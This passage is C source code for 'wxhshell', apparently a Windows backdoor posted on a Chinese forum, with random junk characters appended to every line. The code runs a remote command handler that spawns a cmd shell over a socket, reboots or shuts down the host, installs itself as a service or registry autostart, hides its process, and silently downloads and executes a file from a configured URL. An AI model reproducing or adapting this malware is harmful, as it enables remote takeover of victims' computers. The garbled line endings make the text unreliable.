  else { |33t5}we  
a~LA&>@  
    switch(cmd[0]) { 9;{(.K  
  c8mh#T bl  
  // 帮助 .gC.T`/m  
  case '?': { iLBORT !;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &)Qq%\EP4  
    break; #OM'2@  
  } k6(</uRj  
  // 安装 [Y*>x2X  
  case 'i': { z~`X4Segw  
    if(Install()) dI%jR&.e;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZPE-  
    else em,1Yn?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d*Mqs}8  
    break; fNAW4I I}  
    } $[`rY D/.  
  // 卸载 F%p DF\  
  case 'r': { ["&{^  
    if(Uninstall()) aG;F=e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H:hM(m0?q  
    else D mi.@.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -V4{tIQY  
    break; qVfn(rZ  
    } HM)D/CO,?  
  // 显示 wxhshell 所在路径 |z3!3?%R  
  case 'p': { @R`6j S_gK  
    char svExeFile[MAX_PATH]; D ON.)F  
    strcpy(svExeFile,"\n\r"); E@k'uyIu  
      strcat(svExeFile,ExeFile); XTX/vbge3m  
        send(wsh,svExeFile,strlen(svExeFile),0); y{3+Un  
    break; 5%9Uh'y#  
    } Go c*ugR  
  // 重启 %.`u2'^  
  case 'b': { K!9K^h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /77cjesZ9  
    if(Boot(REBOOT)) S[$9_Jf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _PPC?k{z!  
    else { j$_?g!I=gK  
    closesocket(wsh); ^cPVnl  
    ExitThread(0); &S+*1<|`K  
    } z6J12tu  
    break; pm=O.)g4`  
    } Ag\RLJ.KD  
  // 关机 RjviHd#DXn  
  case 'd': { U`3?bhzua  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x^)?V7[t  
    if(Boot(SHUTDOWN)) xa'U_]m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V#$QKn`;  
    else { 55.2UN  
    closesocket(wsh); PCaFG;}  
    ExitThread(0); L`<#vi  
    } WGA&Lr  
    break; 46)[F0,$r  
    } AKjobA#  
  // 获取shell /f?;,CyI  
  case 's': { #FAW@6QG  
    CmdShell(wsh); 6P >Y2xV:  
    closesocket(wsh); (Q||5  
    ExitThread(0); ejR$N!LL  
    break; +-;v+{  
  } qh6b;ae\x  
  // 退出 r1IvA^X  
  case 'x': { *jc >?)k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,2Ed^!`  
    CloseIt(wsh); ZG H 7_K  
    break; A3 TR'BFw-  
    } f2gh|p`  
  // 离开 'qiAmaX  
  case 'q': { jbe:"S tw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PO'K?hVS^w  
    closesocket(wsh); lGp:rw`  
    WSACleanup(); {~51h}>b#  
    exit(1); L''VBY"?  
    break; <?KgzIq2  
        } cu5}(  
  } mB0`>?#i  
  } R&t2   
<75x@!  
  // 提示信息 u y"i3xD6-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y{e,I-"{  
} & ;5f/  
  } e^~dx}X  
9.dZA9l@g  
  return; a>4q"IT6  
} UK^w;w2F  
1S(oi  
// shell模块句柄 .yUD\ZGJ u  
int CmdShell(SOCKET sock) R6 ej  
{ Kk=>"?&  
STARTUPINFO si; V]Ccj\Oi  
ZeroMemory(&si,sizeof(si)); >clVV6B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )cQ KR4x0^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yy/,I]F  
PROCESS_INFORMATION ProcessInfo; ;9)nG,P3  
char cmdline[]="cmd"; fuHNsrNlm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  7Tr '<(A  
  return 0; V+>RF  
} Vo{ ~D:)  
jl 7>  
// 自身启动模式 /-lW$.+{?  
int StartFromService(void) hA/Es?U]  
{ +7WpJ;C4  
typedef struct p[WlcbBwT  
{ ~yXDN4s  
  DWORD ExitStatus; X0ugnQ6  
  DWORD PebBaseAddress; j3w~2q"r  
  DWORD AffinityMask; ~IO'"h'w  
  DWORD BasePriority; U%1M?vT/  
  ULONG UniqueProcessId; $ta"Ug.z  
  ULONG InheritedFromUniqueProcessId; h-Ks:pcR  
}   PROCESS_BASIC_INFORMATION; 1n2Pr'|s  
Bf^K?:r"V  
PROCNTQSIP NtQueryInformationProcess; ''9K(p6  
\Qnr0t@0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SI6?b1;-:F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `{w|2 [C3  
c3fi<?0&|  
  HANDLE             hProcess; 2HE<WI^#h  
  PROCESS_BASIC_INFORMATION pbi; Xeis_  
[=. iJ5,{2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1GR|$E  
  if(NULL == hInst ) return 0; &?@U_emLi  
\N?lG q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~9!@BL\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DD7D&@As  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AxJqLSfyb,  
HWou&<EK  
  if (!NtQueryInformationProcess) return 0; OS L~a_  
Y~( 8<`^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2^5RQl/  
  if(!hProcess) return 0; c2GTN"  
60|m3|0o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^N ;TCn  
th"Aatmp  
  CloseHandle(hProcess); ]B&jMj~y&  
A #pH$s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ek06=2i  
if(hProcess==NULL) return 0; +m}D.u*cp  
I)3LJK  
HMODULE hMod; Rdj3dg'<  
char procName[255]; J +Y?'"r  
unsigned long cbNeeded; Bq4@I_b  
#cD$ DA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ) cOBP}j+  
?g K|R  
  CloseHandle(hProcess); Ttb?x<)+8  
-DZ5nx  
if(strstr(procName,"services")) return 1; // 以服务启动 j~Ci*'*L  
DvI^3iG8  
  return 0; // 注册表启动 <Z1m9O "sy  
} - t 4F  
6I]{cm   
// 主模块 }ew )QHd  
int StartWxhshell(LPSTR lpCmdLine) ,*L3  
{ b83m'`vRM  
  SOCKET wsl; 9j;!4AJ1t  
BOOL val=TRUE; 4 ;6,h6a  
  int port=0; &ML-\aSal  
  struct sockaddr_in door; s/;S2l$`  
#cJ1Jj $  
  if(wscfg.ws_autoins) Install(); #; P-*P  
Oeg^%Y   
port=atoi(lpCmdLine); ZS&+<kGD  
.q 4FGPWz  
if(port<=0) port=wscfg.ws_port; =':SOO7  
j->5%y  
  WSADATA data; 2R3)/bz-SV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ncR]@8  
Q`=d5Uvw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?|hYtV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k_OzkEM9!  
  door.sin_family = AF_INET; K9RRY,JB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )DQcf]I  
  door.sin_port = htons(port); (f"LD8MJ/  
L1SZutWD?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )5diX + k  
closesocket(wsl); IS{>(XT{  
return 1; JAmpU^(C  
}  </Dv?  
kf' 4C "}  
  if(listen(wsl,2) == INVALID_SOCKET) { 0}>p)k3&A  
closesocket(wsl); 2tp95E`(O  
return 1; *u>[  
} <{HV|B7  
  Wxhshell(wsl); wX@g >(  
  WSACleanup(); ~P-^An^  
8hX /~-H  
return 0; uH} }z!  
c`)[-  
} k#5Qwxu`  
&x[V<Gq  
// 以NT服务方式启动 ]PH'G>x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9$R}GK  
{ )*BG-nM u  
DWORD   status = 0; jpiBHi]5+  
  DWORD   specificError = 0xfffffff; EBUCG"e  
FbD9G6h5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NrcxuItkYn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t8#u}u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +=L^h9F  
  serviceStatus.dwWin32ExitCode     = 0; Cj6$W5I m  
  serviceStatus.dwServiceSpecificExitCode = 0; thh0~g0/  
  serviceStatus.dwCheckPoint       = 0; AHP;N6Y6  
  serviceStatus.dwWaitHint       = 0; n--s[Kdo8  
[:{HX U7y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @PKY>58)  
  if (hServiceStatusHandle==0) return; |198A,^  
ZlL]AD@  
status = GetLastError(); F^wm&:%{`  
  if (status!=NO_ERROR) D'_ w *  
{ 7}fT7tsN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HAcC& s8  
    serviceStatus.dwCheckPoint       = 0; jQ P2[\  
    serviceStatus.dwWaitHint       = 0; K@!Gs'Op  
    serviceStatus.dwWin32ExitCode     = status; >s ;dooZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; GUvEOD=p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E$5A 1  
    return; h`MTB!o  
  } ]M&KUgz  
+78cQqDY!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =?1B|hdo  
  serviceStatus.dwCheckPoint       = 0; ";w"dfC^  
  serviceStatus.dwWaitHint       = 0; (5=B^9{R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {= T9_c  
} Y$eO:67;  
lMb&F[KJ7  
// 处理NT服务事件,比如:启动、停止 -=4:qQEw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mA\}zLw+r9  
{ C.=[K_  
switch(fdwControl) pb|,rLNZ  
{ /E5>cqX4A  
case SERVICE_CONTROL_STOP: 6Iv &c2  
  serviceStatus.dwWin32ExitCode = 0; ZcrFzi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3m/XT"D  
  serviceStatus.dwCheckPoint   = 0; /,^AG2]( f  
  serviceStatus.dwWaitHint     = 0; k:`yxxYIh  
  { /baSAoh/e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 67P@YL  
  } ~:"//%M3l  
  return; 39Tlt~Psz  
case SERVICE_CONTROL_PAUSE: 9h0Y">}`b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Au{J/G<W@  
  break; c[4I> "w  
case SERVICE_CONTROL_CONTINUE: E Ks4N4k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M:.0]'[s5  
  break;  D ~t  
case SERVICE_CONTROL_INTERROGATE: *~jTE;J  
  break; ,uCgC4EP  
}; Y/,Cy0!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %1kIaYZ  
} <2fgao&-n  
7NQEnAl  
// 标准应用程序主函数 LZ1)zoJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /n8\^4{fP{  
{ C\gKJW^]y@  
;^|:*  
// 获取操作系统版本 /zIUYY  
OsIsNt=GetOsVer(); OCbwV7q:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }6 Mo C0  
wp>L}!  
  // 从命令行安装 t,308Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); h=MEQ-3jg  
- ~`)V`@  
  // 下载执行文件 18G=j@k7  
if(wscfg.ws_downexe) { RfzYoBN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e4Q2$ Q@b  
  WinExec(wscfg.ws_filenam,SW_HIDE); yuq2)  
} )PjU=@$lI  
nm]m!.$d  
if(!OsIsNt) { Isg\ fSK<j  
// 如果时win9x,隐藏进程并且设置为注册表启动 OH6-\U'.Z  
HideProc(); }]|e0 w:  
StartWxhshell(lpCmdLine); e3]v *<bj  
} -5#cfi4^*  
else wYN/ }>M  
  if(StartFromService()) UKp^TW1^  
  // 以服务方式启动 4* V[^mht  
  StartServiceCtrlDispatcher(DispatchTable); z--Y  
else 4>(rskl_  
  // 普通方式启动 ]q3.^F  
  StartWxhshell(lpCmdLine); ^W ,~   
@ 3,:G$,  
return 0; ugS  
}
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只看该作者 1 发表于: 2006-10-10
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